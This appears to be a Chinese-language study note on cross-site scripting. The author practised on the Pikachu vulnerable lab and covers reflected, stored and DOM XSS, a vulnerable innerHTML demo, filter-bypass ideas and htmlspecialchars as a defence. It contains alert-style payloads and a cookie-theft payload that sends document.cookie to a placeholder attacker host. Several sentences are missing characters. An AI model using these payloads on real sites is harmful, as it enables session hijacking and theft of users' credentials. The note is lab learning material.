我的 XSS 笔记:反射型和存储型到底差在哪、Payload 怎么按输出点构造、窃取 Cookie 的完整演示,我在 Pikachu 靶场上把每一种都打过一遍。
核心知识点
1. 网站三件套(前端/后端/数据库)
- 前端:大堂、菜单、服务员——你看到的一切页面。
- 后端:厨房和厨师——处理业务逻辑,隐藏不可见。
- 数据库:大仓库——存账号密码、商品、朋友圈。
2. XSS 原理
- 称:Cross-Site Scripting(跨站脚本攻击)。
- 通俗比喻:“顾客留言板”。黑客在留言板上写带”魔法”的指令,老板(后端)不检查直接挂上墙,下一个顾客(浏览器)看一眼就执行了”魔法”。
- 真实场景:黑客在评论区/留言板恶意 JavaScript → 后端不检查数据库 → 无辜用户打开页面时浏览器加载并执行了恶意代码 → 账号密码被盗、跳转到赌博网站、自动发垃圾广告。
- 本质:
做为输出被浏览器当成脚本执行。
3. 三种 XSS 类型
| 类型 | 特点 | 触发条件 |
|---|---|---|
| 反射型 | 非化,脚本不存数据库,通过 URL/表单提交,“反射”回页面 | 需诱导点击恶意链接(社会工程学) |
| 存储型 | 最危险,脚本存储于数据库/文件 | 任何访问该页面的用户自动触发 |
| DOM 型 | 攻击前端 JS 直接操作 DOM,无需与服务器交互 | 构造恶意 URL 或利用特定 HTML 属性 |
4. 基础实验(记事本 + 浏览器)
<input type="text" id="userInput">
<button onclick="leaveMessage()">提交留言</button>
<div id="displayArea"></div>
<script>
function leaveMessage() {
var text = document.getElementById('userInput').value;
document.getElementById('displayArea').innerHTML = text; // 无任何防范
}
</script>
正常:今天天气真好! → 正常显示。
攻击:
<img src="x" onerror="alert('警告:你被黑客攻击了!')">
利用坏掉的图片标签,图片加载失败触发 onerror 弹窗。真实攻击中是后台静默窃取凭证。
5. Pikachu 靶场实战
反射型 XSS(GET):
Cross-Site Scripting -> 反射型xss(get)。test提交,页面回显who is test,i don't care.,说明被拼进 HTML。<script>alert('XSS')</script>。- 遇到前端限制:
<input>有maxlength属性,。按F12修改/删除maxlength属性(设为大数如 100)。 - 提交后浏览器弹窗。URL 中可见
?message=<script>alert('XSS')</script>——这就是钓鱼链接。
存储型 XSS:
Cross-Site Scripting -> 存储型xss(留言板功能)。- 留言框
<script>alert('这是存储型XSS')</script>提交。 - 浏览器重开/换浏览器访问,页面一加载仍弹窗 → 证明脚本已数据库。
6. XSS 危害与窃取 Cookie
- 窃取登录凭证(Cookie)发送到攻击服务器。
- JS 页面跳转:
document.location='http://攻击/'或简写location='http://...',立即发起 GET 请求跳转。 - 后台收集:Pikachu 的”空品收集”功能——访问特定 URL 时自动携带当前所有 Cookie 信息。
- 钓鱼、蠕虫传播、篡改页面。
7. 防御与绕过
- 核心铁律:永远不要相信用户的。
- 消毒/过滤:后端用
htmlentities()/htmlspecialchars()将特殊字符(<、>、&、")转为 HTML 实体(<、>、&),浏览器只当普通文字显示。 - 绕过思路(针对不同版本的 htmlentities):
- 单引号/双引号处理差异
- JavaScript 伪协议
javascript: - URL 编码:如
%u003c代表<,绕过过滤后在浏览器端被解码执行
实操步骤
# 反射型 Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
# 窃取 Cookie(真实攻击示意)
<script>document.location='http://攻击IP/steal.php?c='+document.cookie</script>
# 存储型:提交到留言板后化触发
防御代码示例:
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
常见错误与排查
- Payload 后页面没反应 → 检查前端
maxlength限制,用 F12 修改;再确认后端是否已实体化过滤。 - 存储型不弹窗 → 确认是否换浏览器/缓存测试(脚本可能被浏览器缓存覆盖)。
- 反射型要诱导点击,单测时不生效是正常的 → 直接访问构造的 URL。
- 被实体化转义后显示为文字而非弹窗 → 说明已被过滤,尝试编码绕过。